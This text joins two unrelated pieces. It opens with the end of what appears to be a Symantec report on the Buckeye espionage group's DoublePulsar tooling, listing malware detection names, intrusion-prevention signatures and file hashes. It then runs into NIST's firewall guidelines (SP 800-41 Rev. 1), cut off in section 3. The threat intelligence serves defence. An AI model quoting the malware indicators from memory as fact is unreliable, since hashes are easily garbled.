tools needed to collect information about the memory layout of attacked systems in addition to exploiting the aforementioned message type confusion vulnerability. Each tool performed this differently, relying on different vulnerabilities. In the case of the Buckeye exploit tool, the attackers exploited their own zero-day vulnerability (CVE-2019-0703). ## DoublePulsar Development The variant of DoublePulsar used in the first attacks performed by Buckeye was different from that leaked by the Shadow Brokers. It appears to contain code to target newer versions of Windows (Windows 8.1 and Windows Server 2012 R2), indicating that it is a newer version of the malware. It also includes an additional layer of obfuscation. Based on technical features and timing, it is possible that this obfuscation was created by DoublePulsar's original authors. It is noteworthy that the attackers never used the FuzzBunch framework in its attacks. FuzzBunch is a framework designed to manage DoublePulsar and other Equation Group tools and was leaked by the Shadow Brokers in 2017. This suggests that Buckeye only managed to gain access to a limited number of Equation Group tools. ## Unanswered Questions There are multiple possibilities as to how Buckeye obtained Equation Group tools before the Shadow Brokers leak. Based on the timing of the attacks and the features of the tools and how they are constructed, one possibility is that Buckeye may have engineered its own version of the tools from artifacts found in captured network traffic, possibly from observing an Equation Group attack. Other less supported scenarios, given the technical evidence available, include Buckeye obtaining the tools by gaining access to an unsecured or poorly secured Equation Group server, or that a rogue Equation group member or associate leaked the tools to Buckeye. Mystery also surrounds the continued use of the exploit tool and DoublePulsar after Buckeye's apparent disappearance. It may suggest that Buckeye retooled following its exposure in 2017, abandoning all tools publicly associated with the group. However, aside from the continued use of the tools, Symantec has found no other evidence suggesting Buckeye has retooled. Another possibility is that Buckeye passed on some of its tools to an associated group. ## Protection Symantec has the following protection in place to protect customers against these attacks: **File-based protection** - Trojan.Bemstour - Backdoor.Doublepulsar - Backdoor.Pirpi - Backdoor.Filensfer **Network-based protection (Intrusion Prevention System)** - Attack: SMB Double Pulsar Ping - Attack: SMB Double Pulsar Response - Attack: SMB Double Pulsar V2 Activity - Attack: RDP Double Pulsar Ping ## Indicators of Compromise | MD5 | SHA256 | Description | | --- | --- | --- | | 7020bcb347404654e17f6303848b7ec4 | cbe23daa9d2f8e1f5d59c8336dd5b7d7ba1d5cf3f0d45e66107668e80b073ac3 | Pirpi (first variant) | | aacfef51a4a242f52fbb838c1d063d9b | 53145f374299e673d82d108b133341dc7bee642530b560118e3cbcdb981ee92c | Pirpi (second variant) | | c2f902f398783922a921df7d46590295 | 01f53953db8ba580ee606043a482f790082460c8cdbd7ff151d84e03fdc87e42 | Command line utility to list user accounts on remote machine | | 6458806a5071a7c4fefae084791e8c67 | 6b1f8b303956c04e24448b1eec8634bd3fb2784c8a2d12ecf8588424b36d3cbc | Filensfer (C/C++) | | 0d2d0d8f4989679f7c26b5531096b8b2 | 7bfad342ce88de19d090a4cb2ce332022650abd68f34e83fdc694f10a4090d65 | Filensfer (Powershell) | | a3932533efc04ac3fe89fb5b3d60128a | 3dbe8700ecd27b3dc39643b95b187ccfd44318fc88c5e6ee6acf3a07cdaf377e | Filensfer (py2exe) | | 58f784c7a292103251930360f9ca713e | 1c9f1c7056864b5fdd491d5daa49f920c3388cb8a8e462b2bc34181cef6c1f9c | Command line SMB client | | a469d48e25e524cf0dec64f01c182b25 | 951f079031c996c85240831ea1b61507f91990282daae6da2841311322e8a6d7 | HTran | ## Threat Intelligence In addition to file-based protection, customers of the DeepSight Intelligence Managed Adversary and Threat Intelligence (MATI) service have received reports on Buckeye, which detail methods of detecting and thwarting activities of this group.
# Special Publication 800-41 Revision 1 ## Guidelines on Firewalls and Firewall Policy ### Recommendations of the National Institute of Standards and Technology **Karen Scarfone** **Paul Hoffman** **Computer Security Division** **Information Technology Laboratory** **National Institute of Standards and Technology** **Gaithersburg, MD 20899-8930** **September 2009** --- ## Executive Summary Firewalls are devices or programs that control the flow of network traffic between networks or hosts that employ differing security postures. At one time, most firewalls were deployed at network perimeters. This provided some measure of protection for internal hosts, but it could not recognize all instances and forms of attack, and attacks sent from one internal host to another often do not pass through network firewalls. Because of these and other factors, network designers now often include firewall functionality at places other than the network perimeter to provide an additional layer of security, as well as to protect mobile devices that are placed directly onto external networks. Threats have gradually moved from being most prevalent in lower layers of network traffic to the application layer, which has reduced the general effectiveness of firewalls in stopping threats carried through network communications. However, firewalls are still needed to stop the significant threats that continue to work at lower layers of network traffic. Firewalls can also provide some protection at the application layer, supplementing the capabilities of other network security technologies. There are several types of firewalls, each with varying capabilities to analyze network traffic and allow or block specific instances by comparing traffic characteristics to existing policies. Understanding the capabilities of each type of firewall, and designing firewall policies and acquiring firewall technologies that effectively address an organization’s needs, are critical to achieving protection for network traffic flows. This document provides an overview of firewall technologies and discusses their security capabilities and relative advantages and disadvantages in detail. It also provides examples of where firewalls can be placed within networks, and the implications of deploying firewalls in particular locations. The document also makes recommendations for establishing firewall policies and for selecting, configuring, testing, deploying, and managing firewall solutions. This document does not cover technologies that are called “firewalls” but primarily examine only application layer activity, not lower layers of network traffic. Technologies that focus on activity for a particular type of application, such as email firewalls that block email messages with suspicious content, are not covered in detail in this document. To improve the effectiveness and security of their firewalls, organizations should implement the following recommendations: - Create a firewall policy that specifies how firewalls should handle inbound and outbound network traffic. - Identify all requirements that should be considered when determining which firewall to implement. - Create rulesets that implement the organization’s firewall policy while supporting firewall performance. - Manage firewall architectures, policies, software, and other components throughout the life of the firewall solutions. ## 1. Introduction ### 1.1 Authority The National Institute of Standards and Technology (NIST) developed this document in furtherance of its statutory responsibilities under the Federal Information Security Management Act (FISMA) of 2002, Public Law 107-347. NIST is responsible for developing standards and guidelines, including minimum requirements, for providing adequate information security for all agency operations and assets; but such standards and guidelines shall not apply to national security systems. This guideline is consistent with the requirements of the Office of Management and Budget (OMB) Circular A-130, Section 8b(3), “Securing Agency Information Systems,” as analyzed in A-130, Appendix IV: Analysis of Key Sections. Supplemental information is provided in A-130, Appendix III. This guideline has been prepared for use by Federal agencies. It may be used by nongovernmental organizations on a voluntary basis and is not subject to copyright, though attribution is desired. Nothing in this document should be taken to contradict standards and guidelines made mandatory and binding on Federal agencies by the Secretary of Commerce under statutory authority, nor should these guidelines be interpreted as altering or superseding the existing authorities of the Secretary of Commerce, Director of the OMB, or any other Federal official. ### 1.2 Purpose and Scope This document seeks to assist organizations in understanding the capabilities of firewall technologies and firewall policies. It provides practical guidance on developing firewall policies and selecting, configuring, testing, deploying, and managing firewalls. ### 1.3 Audience This document has been created primarily for technical information technology (IT) personnel such as network, security, and system engineers and administrators who are responsible for firewall design, selection, deployment, and management. Other IT personnel with network and system security responsibilities may also find this document to be useful. The content assumes some basic knowledge of networking and network security. ### 1.4 Document Structure The remainder of this document is organized into four major sections: - Section 2 provides an overview of a number of network firewall technologies—including packet filtering, stateful inspection, and application-proxy gatewaying—and also provides information on host-based and personal firewalls. - Section 3 discusses the placement of firewalls within network architectures. - Section 4 discusses firewall policies and makes recommendations on the types of traffic that should be specified as prohibited. - Section 5 provides an overview of firewall planning and implementation. It lists factors to consider when selecting firewall solutions, and provides recommendations for firewall configuration, testing, deployment, and management. The document also contains appendices with supporting material: - Appendices A and B contain a glossary and an acronym and abbreviation list, respectively. - Appendix C lists print and online resources that may be of use in gaining a better understanding of firewalls. ## 2. Overview of Firewall Technologies Firewalls are devices or programs that control the flow of network traffic between networks or hosts that employ differing security postures. While firewalls are often discussed in the context of Internet connectivity, they may also have applicability in other network environments. For example, many enterprise networks employ firewalls to restrict connectivity to and from the internal networks used to service more sensitive functions, such as accounting or personnel. By employing firewalls to control connectivity to these areas, an organization can prevent unauthorized access to its systems and resources. Inclusion of a proper firewall provides an additional layer of security. Organizations often need to use firewalls to meet security requirements from mandates (e.g., FISMA); some mandates, such as the Payment Card Industry (PCI) Data Security Standard, specifically require firewalling. Several types of firewall technologies are available. One way of comparing their capabilities is to look at the Transmission Control Protocol/Internet Protocol (TCP/IP) layers that each is able to examine. TCP/IP communications are composed of four layers that work together to transfer data between hosts. When a user wants to transfer data across networks, the data is passed from the highest layer through intermediate layers to the lowest layer, with each layer adding more information. The lowest layer sends the accumulated data through the physical network, with the data then passed upwards through the layers to its destination. Simply put, the data produced by a layer is encapsulated in a larger container by the layer below it. The four TCP/IP layers, from highest to lowest, are shown below: - **Application Layer**: This layer sends and receives data for particular applications, such as Domain Name System (DNS), Hypertext Transfer Protocol (HTTP), and Simple Mail Transfer Protocol (SMTP). - **Transport Layer**: This layer provides connection-oriented or connectionless services for transporting application layer services between networks, and can optionally ensure communications reliability. Transmission Control Protocol (TCP) and User Datagram Protocol (UDP) are commonly used transport layer protocols. - **IP Layer (Network Layer)**: This layer routes packets across networks. Internet Protocol version 4 (IPv4) is the fundamental network layer protocol for TCP/IP. Other commonly used protocols at the network layer are Internet Protocol version 6 (IPv6), ICMP, and Internet Group Management Protocol (IGMP). - **Hardware Layer (Data Link Layer)**: This layer handles communications on the physical network components. The best-known data link layer protocol is Ethernet. Addresses at the data link layer, which are assigned to network interfaces, are referred to as media access control (MAC) addresses. Firewall policies rarely concern themselves with the data link layer. Addresses at the network layer are referred to as IP addresses. The transport layer identifies specific network applications and communication sessions as opposed to network addresses; a host may have any number of transport layer sessions with other hosts on the same network. The transport layer may also include the notion of ports—a destination port number generally identifies a service listening on the destination host, and a source port usually identifies the port number on the source host that the destination host should reply to. Transport protocols such as TCP and UDP have ports, while other transport protocols do not. The combination of source IP address and port with destination IP address and port helps define the session. The highest layer represents end user applications—firewalls can inspect application traffic and use it as the basis for policy decisions. Basic firewalls operate on one or a few layers—typically the lower layers—while more advanced firewalls examine all of the layers. Those that examine more layers can perform more granular and thorough examinations. Firewalls that understand the application layer can potentially accommodate advanced applications and protocols and provide services that are user-oriented. For example, a firewall that only handles lower layers cannot usually identify specific users, but a firewall with application layer capabilities can enforce user authentication and log events to specific users. ### 2.1 Firewall Technologies This section of the publication provides an overview of firewall technologies and basic information on the capabilities of several commonly used types. Firewalling is often combined with other technologies—most notably routing—and many technologies often associated with firewalls are more accurately part of these other technologies. For example, network address translation (NAT) is sometimes thought of as a firewall technology, but it is actually a routing technology. Many firewalls also include content filtering features to enforce organization policies not directly related to security. Some firewalls include intrusion prevention system (IPS) technologies, which can react to attacks that they detect to prevent damage to systems protected by the firewall. Firewalls are often placed at the perimeter of a network. Such a firewall can be said to have an external and internal interface, with the external interface being the one on the outside of the network. These two interfaces are sometimes referred to as unprotected and protected, respectively. However, saying that something is or is not protected is often inappropriate because a firewall’s policies can work in both directions; for example, there might be a policy to prevent executable code from being sent from inside the perimeter to sites outside the perimeter. #### 2.1.1 Packet Filtering The most basic feature of a firewall is the packet filter. Older firewalls that were only packet filters were essentially routing devices that provided access control functionality for host addresses and communication sessions. These devices, also known as stateless inspection firewalls, do not keep track of the state of each flow of traffic that passes through the firewall; this means, for example, that they cannot associate multiple requests within a single session to each other. Packet filtering is at the core of most modern firewalls, but there are few firewalls sold today that only do stateless packet filtering. Unlike more advanced filters, packet filters are not concerned about the content of packets. Their access control functionality is governed by a set of directives referred to as a ruleset. Packet filtering capabilities are built into most operating systems and devices capable of routing; the most common example of a pure packet filtering device is a network router that employs access control lists. In their most basic form, firewalls with packet filters operate at the network layer. This provides network access control based on several pieces of information contained in a packet, including: - The packet’s source IP address—the address of the host from which the packet originated (such as 192.168.1.1). - The packet’s destination address—the address of the host the packet is trying to reach (e.g., 192.168.2.1). - The network or transport protocol being used to communicate between source and destination hosts, such as TCP, UDP, or ICMP. - Possibly some characteristics of the transport layer communications sessions, such as session source and destination ports (e.g., TCP 80 for the destination port belonging to a web server, TCP 1320 for the source port belonging to a personal computer accessing the server). - The interface being traversed by the packet, and its direction (inbound or outbound). Filtering inbound traffic is known as ingress filtering. Outgoing traffic can also be filtered, a process referred to as egress filtering. Here, organizations can implement restrictions on their internal traffic, such as blocking the use of external file transfer protocol (FTP) servers or preventing denial of service (DoS) attacks from being launched from within the organization against outside entities. Organizations should only permit outbound traffic that uses the source IP addresses in use by the organization—a process that helps block traffic with spoofed addresses from leaking onto other networks. Spoofed addresses can be caused by malicious events such as malware infections or compromised hosts being used to launch attacks, or by inadvertent misconfigurations. Stateless packet filters are generally vulnerable to attacks and exploits that take advantage of problems within the TCP/IP specification and protocol stack. For example, many packet filters are unable to detect when a packet’s network layer addressing information has been spoofed or otherwise altered, or uses options that are permitted by standards but generally used for malicious purposes, such as IP source routing. Spoofing attacks, such as using incorrect addresses in the packet headers, are generally employed by intruders to bypass the security controls implemented in a firewall platform. Firewalls that operate at higher layers can thwart some spoofing attacks by verifying that a session is established, or by authenticating users before allowing traffic to pass. Because of this, most firewalls that use packet filters also maintain some state information for the packets that traverse the firewall. Some packet filters can specifically filter packets that are fragmented. Packet fragmentation is allowed by the TCP/IP specifications and is encouraged in situations where it is needed. However, packet fragmentation has been used to make some attacks harder to detect (by placing them within fragmented packets), and unusual fragmentation has also been used as a form of attack. For example, some network-based attacks have used packets that should not exist in normal communications, such as sending some fragments of a packet but not the first fragment, or sending packet fragments that overlap each other. To prevent the use of fragmented packets in attacks, some firewalls have been configured to block fragmented packets. Today, fragmented packets on the Internet often occur not because of attacks, but because of virtual private networking (VPN) technologies that encapsulate packets within other packets. If encapsulating a packet would cause the new packet to exceed the maximum permitted size for the medium it will be transmitted on, the packet must be fragmented. Fragmented packets being blocked by firewalls is a common cause of VPN interoperability issues. Some firewalls can reassemble fragments before passing them to the inside network, although this requires additional firewall resources, particularly memory. Firewalls that have this reassembly feature must implement it carefully; otherwise, someone can readily mount a denial-of-service attack. Choosing whether to block, reassemble, or pass fragmented packets is a tradeoff between overall network interoperability and full system security. Given this, automatic blocking of all fragmented packets is not recommended because of the legitimate and necessary uses of fragmentation on the Internet. #### 2.1.2 Stateful Inspection Stateful inspection improves on the functions of packet filters by tracking the state of connections and blocking packets that deviate from the expected state. This is accomplished by incorporating greater awareness of the transport layer. As with packet filtering, stateful inspection intercepts packets at the network layer and inspects them to see if they are permitted by an existing firewall rule, but unlike packet filtering, stateful inspection keeps track of each connection in a state table. While the details of state table entries vary by firewall product, they typically include source IP address, destination IP address, port numbers, and connection state information. Three major states exist for TCP traffic—connection establishment, usage, and termination (which refers to both an endpoint requesting that a connection be closed and a connection with a long period of inactivity). Stateful inspection in a firewall examines certain values in the TCP headers to monitor the state of each connection. Each new packet is compared by the firewall to the firewall’s state table to determine if the packet’s state contradicts its expected state. For example, an attacker could generate a packet with a header indicating it is part of an established connection, in hopes it will pass through a firewall. If the firewall uses stateful inspection, it will first verify that the packet is part of an established connection listed in the state table. In the simplest case, a firewall will allow through any packet that seems to be part of an open connection (or even a connection that is not yet fully established). However, many firewalls are more cognizant of the state machines for protocols such as TCP and UDP, and they will block packets that do not adhere strictly to the appropriate state machine. For example, it is common for firewalls to check attributes such as TCP sequence numbers and reject packets that are out of sequence. When a firewall provides NAT services, it often includes NAT information in its state table. #### 2.1.3 Application Firewalls A newer trend in stateful inspection is the addition of a stateful protocol analysis capability, referred to by some vendors as deep packet inspection. Stateful protocol analysis improves upon standard stateful inspection by adding basic intrusion detection technology—an inspection engine that analyzes protocols at the application layer to compare vendor-developed profiles of benign protocol activity against observed events to identify deviations. This allows a firewall to allow or deny access based on how an application is running over the network. For instance, an application firewall can determine if an email message contains a type of attachment that the organization does not permit (such as an executable file), or if instant messaging (IM) is being used over port 80 (typically used for HTTP). Another feature is that it can block connections over which specific actions are being performed (e.g., users could be prevented from using the FTP “put” command, which allows users to write files to the FTP server). This feature can also be used to allow or deny web pages that contain particular types of active content, such as Java or ActiveX, or that have SSL certificates signed by a particular certificate authority (CA), such as a compromised or revoked CA. Application firewalls can enable the identification of unexpected sequences of commands, such as issuing the same command repeatedly or issuing a command that was not preceded by another command on which it is dependent. These suspicious commands often originate from buffer overflow attacks, DoS attacks, malware, and other forms of attack carried out within application protocols such as HTTP. Another common feature is input validation for individual commands, such as minimum and maximum lengths for arguments. For example, a username argument with a length of 1000 characters is suspicious—even more so if it contains binary data. Application firewalls are available for many common protocols including HTTP, database (such as SQL), email (SMTP, Post Office Protocol [POP], and Internet Message Access Protocol [IMAP]), voice over IP (VoIP), and Extensible Markup Language (XML). Another feature found in some application firewalls involves enforcing application state machines, which are essentially checks on the traffic’s compliance to the standard for the protocol in question. This compliance checking, sometimes called “RFC compliance” because most protocols are defined in RFCs issued by the Internet Engineering Task Force (IETF), can be a mixed blessing. Many products implement protocols in ways that almost, but not completely, match the specification, so it is usually necessary to let such implementations communicate across the firewall. Compliance checking is only useful when it detects and blocks communication that can be harmful to protected systems. Firewalls with both stateful inspection and stateful protocol analysis capabilities are not full-fledged intrusion detection and prevention systems (IDPS), which usually offer much more extensive attack detection and prevention capabilities. For example, IDPSs also use signature-based and/or anomaly-based analysis to detect additional problems within network traffic. #### 2.1.4 Application-Proxy Gateways An application-proxy gateway is a feature of advanced firewalls that combines lower-layer access control with upper-layer functionality. These firewalls contain a proxy agent that acts as an intermediary between two hosts that wish to communicate with each other, and never allows a direct connection between them. Each successful connection attempt actually results in the creation of two separate connections—one between the client and the proxy server, and another between the proxy server and the true destination. The proxy is meant to be transparent to the two hosts—from their perspectives there is a direct connection. Because external hosts only communicate with the proxy agent, internal IP addresses are not visible to the outside world. The proxy agent interfaces directly with the firewall ruleset to determine whether a given instance of network traffic should be allowed to transit the firewall. In addition to the ruleset, some proxy agents have the ability to require authentication of each individual network user. This authentication can take many forms, including user ID and password, hardware or software token, source address, and biometrics. Like application firewalls, the proxy gateway operates at the application layer and can inspect the actual content of the traffic. These gateways also perform the TCP handshake with the source system and are able to protect against exploitations at each step of a communication. In addition, gateways can make decisions to permit or deny traffic based on information in the application protocol headers or payloads. Once the gateway determines that data should be permitted, it is forwarded to the destination host. Application-proxy gateways are quite different than application firewalls. First, an application-proxy gateway can offer a higher level of security for some applications because it prevents direct connections between two hosts and it inspects traffic content to identify policy violations. Another potential advantage is that some application-proxy gateways have the ability to decrypt packets (e.g., SSL-protected payloads), examine them, and re-encrypt them before sending them on to the destination host. Data that the gateway cannot decrypt is passed directly through to the application. When choosing the type of firewall to deploy, it is important to decide whether the firewall actually needs to act as an application proxy so that it can match the specific policies needed by the organization. Firewalls with application-proxy gateways can also have several disadvantages when compared to packet filtering and stateful inspection. First, because of the “full packet awareness” of application-proxy gateways, the firewall spends much more time reading and interpreting each packet. Because of this, some of these gateways are poorly suited to high-bandwidth or real-time applications—but application-proxy gateways rated for high bandwidth are available. To reduce the load on the firewall, a dedicated proxy server can be used to secure less time-sensitive services such as email and most web traffic. Another disadvantage is that application-proxy gateways tend to be limited in terms of support for new network applications and protocols—an individual, application-specific proxy agent is required for each type of network traffic that needs to transit a firewall. Many application-proxy gateway firewall vendors provide generic proxy agents to support undefined network protocols or applications. Those generic agents tend to negate many of the strengths of the application-proxy gateway architecture because they simply allow traffic to “tunnel” through the firewall. #### 2.1.5 Dedicated Proxy Servers Dedicated proxy servers differ from application-proxy gateways in that while dedicated proxy servers retain proxy control of traffic, they usually have much more limited firewalling capabilities. They are described in this section because of their close relationship to application-proxy gateway firewalls. Many dedicated proxy servers are application-specific, and some actually perform analysis and validation of common application protocols such as HTTP. Because these servers have limited firewalling capabilities, such as simply blocking traffic based on its source or destination, they are typically deployed behind traditional firewall platforms. Typically, a main firewall could accept inbound traffic, determine which application is being targeted, and hand off traffic to the appropriate proxy server (e.g., email proxy). This server would perform filtering or logging operations on the traffic, then forward it to internal systems. A proxy server could also accept outbound traffic directly from internal systems, filter or log the traffic, and pass it to the firewall for outbound delivery. An example of this is an HTTP proxy deployed behind the firewall—users would need to connect to this proxy en route to connecting to external web servers. Dedicated proxy servers are generally used to decrease firewall workload and conduct specialized filtering and logging that might be difficult to perform on the firewall itself. In recent years, the use of inbound proxy servers has decreased dramatically. This is because an inbound proxy server must mimic the capabilities of the real server it is protecting, which becomes nearly impossible when protecting a server with many features. Using a proxy server with fewer capabilities than the server it is protecting renders the non-matched capabilities unusable. Additionally, the essential features that inbound proxy servers should have (logging, access control, etc.) are usually built into the real servers. Most proxy servers now in use are outbound proxy servers, with the most common being HTTP proxies. #### 2.1.6 Virtual Private Networking Firewall devices at the edge of a network are sometimes required to do more than block unwanted traffic. A common requirement for these firewalls is to encrypt and decrypt specific network traffic flows between the protected network and external networks. This nearly always involves virtual private networks (VPN), which use additional protocols to encrypt traffic and provide user authentication and integrity checking. VPNs are most often used to provide secure network communications across untrusted networks. For example, VPN technology is widely used to extend the protected network of a multi-site organization across the Internet, and sometimes to provide secure remote user access to internal organizational networks via the Internet. Two common choices for secure VPNs are IPsec and Secure Sockets Layer (SSL)/Transport Layer Security (TLS). The two most common VPN architectures are gateway-to-gateway and host-to-gateway. Gateway-to-gateway architectures connect multiple fixed sites over public lines through the use of VPN gateways—for example, to connect branch offices to an organization’s headquarters. A VPN gateway is usually part of another network device such as a firewall or router. When a VPN connection is established between the two gateways, users at branch locations are unaware of the connection and do not require any special settings on their computers. The second type of architecture, host-to-gateway, provides a secure connection to the network for individual users, usually called remote users, who are located outside of the organization (at home, in a hotel, etc.). Here, a client on the user machine negotiates the secure connection with the organization’s VPN gateway. For gateway-to-gateway and host-to-gateway VPNs, the VPN functionality is often part of the firewall itself. Placing it behind the firewall would require VPN traffic to be passed through the firewall while encrypted, preventing the firewall from inspecting the traffic. All remote access (host-to-gateway) VPNs allow the firewall administrator to decide which users have access to which network resources. This access control is normally available on a per-user and per-group basis; that is, the VPN policy can specify which users and groups are authorized to access which resources, should an organization need that level of granularity. VPNs generally rely on authentication protocols such as Remote Authentication Dial In User Service (RADIUS). RADIUS uses several different types of authentication credentials, with the most common examples being username and password, digital signatures, and hardware tokens. Another authentication protocol often used by VPNs is the Lightweight Directory Access Protocol (LDAP); it is particularly useful for making access decisions for individual users and groups. To run VPN functionality on a firewall requires additional resources that depend on the amount of traffic flowing across the VPN and the type of encryption being used. For some environments, the added traffic associated with VPNs might require additional capacity planning and resources. Planning is also needed to determine the type of VPN (gateway-to-gateway and/or host-to-gateway) that should be included in the firewall. Many firewalls include hardware acceleration for encryption to minimize the impact of VPN services. #### 2.1.7 Network Access Control Another common requirement for firewalls at the edge of a network is to perform client checks for incoming connections from remote users and allow or disallow access based on those checks. This checking, commonly called network access control (NAC) or network access protection (NAP), allows access based on the user’s credentials and the results of performing “health checks” on the user’s computer. Health checks typically consist of verifying that one or more of the following comply with organizational policy: - Latest updates to antimalware and personal firewall software. - Configuration settings for antimalware and personal firewall software. - Elapsed time since the previous malware scan. - Patch level of the operating system and selected applications. - Security configuration of the operating system and selected applications. These health checks require software on the user’s system that is controlled by the firewall. If the user has acceptable credentials but the device does not pass the health check, the user and device may get only limited access to the internal network for remediation purposes. #### 2.1.8 Unified Threat Management (UTM) Many firewalls combine multiple features into a single system, the idea being that it is easier to set and maintain policy on a single system than on many systems that are deployed at the same location on a network. A typical unified threat management (UTM) system has a firewall, malware detection and eradication, sensing and blocking of suspicious network probes, and so on. There are pros and cons to merging multiple, not-completely-related functions into a single system. For example, deploying a UTM reduces complexity by making a single system responsible for multiple security objectives, but it also requires that the UTM have all the desired features to meet every one of the objectives. Another tradeoff is in performance: a single system handling multiple tasks has to have enough resources such as CPU speed and memory to handle every task assigned to it. Some organizations will find the balance favors a UTM, while other organizations will use multiple firewalls at the same location in their network. #### 2.1.9 Web Application Firewalls The HTTP protocol used in web servers has been exploited by attackers in many ways, such as to place malicious software on the computer of someone browsing the web, or to fool a person into revealing private information that they might not have otherwise. Many of these exploits can be detected by specialized application firewalls called web application firewalls that reside in front of the web server. Web application firewalls are a relatively new technology, as compared to other firewall technologies, and the type of threats that they mitigate are still changing frequently. Because they are put in front of web servers to prevent attacks on the server, they are often considered to be very different than traditional firewalls. #### 2.1.10 Firewalls for Virtual Infrastructures Many virtualization solutions allow more than one operating system to run on a single computer simultaneously, each appearing as if it were a real computer. This has become popular recently because it allows organizations to make more efficient use of computer hardware. Most of these types of virtualization systems include virtualized networking, which allows the multiple operating systems to communicate as if they were on a standard Ethernet, even though there is no actual networking hardware. Network activity that passes directly between virtualized operating systems within a host cannot be monitored by an external firewall. However, some virtualization systems offer built-in firewalls or allow third-party software firewalls to be added as plug-ins. Using firewalls to monitor virtualized networking is a relatively new area of firewall technology, and it is likely to change significantly as virtualization usage continues to increase. ### 2.2 Firewalls for Individual Hosts and Home Networks Although firewalls at a network’s perimeter provide some measure of protection for internal hosts, in many cases additional network protection is required. Network firewalls are not able to recognize all instances and forms of attack, allowing some attacks to penetrate and reach internal hosts—and attacks sent from one internal host to another may not even pass through a network firewall. Because of these and other factors, network designers often include firewall functionality at places other than the network perimeter to provide an additional layer of security. This section describes firewalls specifically designed for deployment onto individual hosts and home networks. #### 2.2.1 Host-Based Firewalls and Personal Firewalls Host-based firewalls for servers and personal firewalls for desktop and laptop personal computers (PC) provide an additional layer of security against network-based attacks. These firewalls are software-based, residing on the hosts they are protecting—each monitors and controls the incoming and outgoing network traffic for a single host. They can provide more granular protection than network firewalls to meet the needs of specific hosts. Host-based firewalls are available as part of server operating systems such as Linux, Windows, Solaris, BSD, and Mac OS X Server, and they can also be installed as third-party add-ons. Configuring a host-based firewall to allow only necessary traffic to the server provides protection against malicious activity from all hosts, including those on the same subnet or on other internal subnets not separated by a network firewall. Limiting outgoing traffic from a server may also be helpful in preventing certain malware that infects a host from spreading to other hosts. Host-based firewalls usually perform logging and can often be configured to perform address-based and application-based access controls. Many host-based firewalls can also act as intrusion prevention systems (IPS) that, after detecting an attack in progress, take actions to thwart the attacker and prevent damage to the targeted host. A personal firewall is software that runs on a desktop or laptop PC with a user-focused operating system such as Microsoft Windows Vista or Macintosh OS X. A personal firewall is similar to a host-based firewall, but because the computer being protected is meant for end users, the interface is usually different (and presumably easier for the typical user to understand). A personal firewall provides an additional layer of security for PCs located both inside and outside perimeter firewalls (e.g., mobile laptop users), because it can restrict inbound communications and can often limit outbound communications as well. This not only allows personal firewalls to protect PCs from incoming attacks, but also limits the spread of malware from infected PCs and the use of unauthorized software such as peer-to-peer file sharing utilities. Personal firewalls are often packaged with antimalware programs, intrusion detection software, and other security utilities. Some personal firewalls allow creation of different profiles based on location, such as a profile for use inside the organization’s network and a different profile for use when at a remote location. This is particularly important when a computer is used on an untrusted external network, because having a separate firewall profile for use on such networks can restrict network activity more tightly and provide stronger protection than having a single profile for all networks. #### 2.2.2 Personal Firewall Appliances In addition to using personal firewalls on their PCs, some teleworkers also use a small, inexpensive device called a firewall appliance or firewall router to protect the computers on their home networks. A personal firewall appliance performs functions similar to a personal firewall, including some of the more advanced features listed earlier in this section—such as VPN. Even if each computer on a home network is using a personal firewall, a firewall appliance is still a valuable added layer of security. Should a personal firewall on a computer malfunction, be disabled, or be misconfigured, the firewall appliance can still protect the computer from unauthorized network communications from external computers. Personal firewall appliances are essentially like small enterprise firewalls that are deployed away from the organization, so the ability to perform central management and administration is as important for personal firewall appliances as it is for enterprise firewalls. Some personal firewall appliances can be partially configured by Universal Plug and Play (UPnP), which allows applications on PCs behind the firewall to automatically ask the firewall to open certain ports so that the applications can have two-way communications with an external system. Most personal firewalls that support dynamic reconfiguration via UPnP have this feature turned off by default because it is a significant security risk to allow untrusted applications to alter a firewall’s security policy. ### 2.3 Limitations of Firewall Inspection Firewalls can only work effectively on traffic that they can inspect. Regardless of the firewall technology chosen, a firewall that cannot understand the traffic flowing through it will not handle that traffic properly—for example, allowing traffic that should be blocked. Many network protocols use cryptography to hide the contents of the traffic. Firewalls also cannot read application data that is encrypted, such as email that is encrypted using the S/MIME or OpenPGP protocols, or files that are manually encrypted. Another limitation faced by some firewalls is understanding traffic that is tunneled, even if it is not encrypted. For example, IPv6 traffic can be tunneled in IPv4 in many different ways. The content may still be unencrypted, but if the firewall does not understand the particular tunneling mechanism used, the traffic cannot be interpreted. In all these cases, the firewall’s rules will determine what to do with traffic it does not (or, in the case of encrypted traffic, cannot) understand. An organization should have policies about how to handle traffic in such cases, such as either permitting or blocking encrypted traffic that is not authorized to be encrypted. ### 2.4 Summary of Recommendations The following items summarize the major recommendations from this section: - The use of NAT should be considered a form of routing, not a type of firewall. - Organizations should only permit outbound traffic that uses the source IP addresses in use by the organization. - Compliance checking is only useful in a firewall when it can block communication that can be harmful to protected systems. - When choosing the type of firewall to deploy, it is important to decide whether the firewall needs to act as an application proxy. - Management of personal firewalls should be centralized to help efficiently create, distribute, and enforce policies for all users and groups. ## 3. Firewalls and Network Architectures Firewalls are used to separate networks with differing security requirements, such as the Internet and an internal network that houses servers with sensitive data. Organizations should use firewalls wherever their internal networks and systems interface with external networks and systems, and where security requirements vary among their internal networks. This section is intended to help organizations determine where firewalls should be placed, and where other networks and systems should be located in relation to the firewalls. Since one of the primary functions of a firewall is to prevent unwanted traffic from entering a network (and, in some cases, from exiting it), firewalls should be placed at the edge of logical network boundaries. This normally means that firewalls are positioned either as a node where the network splits into multiple paths, or inline along a single path. In routed networks, the firewall usually resides just on the network at the location immediately before traffic enters the router (the ingress point), and is sometimes co-resident with the router. It is rare to place the firewall for a multi-path node after the router because the firewall device would need to watch each of the multiple exit paths that typically exist in such situations. The vast majority of hardware firewall devices contain router capabilities, and in switched networks, a firewall is often part of the switch itself to enable it to protect as many of the switched segments as possible. Firewall vendors often vary in their terminology for the logical flow of firewall traffic. A firewall takes traffic that has not been checked, checks it against the firewall's policy, and then acts accordingly (e.g., passes the traffic, blocks it, passes it with some modification). Because all traffic on a network has a direction, policies are based on the direction that the traffic is moving. For the purposes of this document, traffic that has not yet been checked is coming from the “unprotected side” of the firewall and is moving towards the “protected side.” Some firewalls check traffic in both directions—for example, if they are set up to prevent specific traffic from an organization's local area network (LAN) from escaping to the Internet. In these cases, the protected side of the firewall is the one facing the outside network. Section 2 lists many different types of firewall technologies. Network firewalls are almost always hardware devices with multiple network interfaces; host-based and personal firewalls involve software that resides on a single computer and protects only that computer; and personal firewall appliances are designed to protect a single PC or a small office/home office network. This section focuses on network firewalls because the other types are usually unrelated to network topology issues. ### 3.1 Network Layouts with Firewalls Many hardware firewall 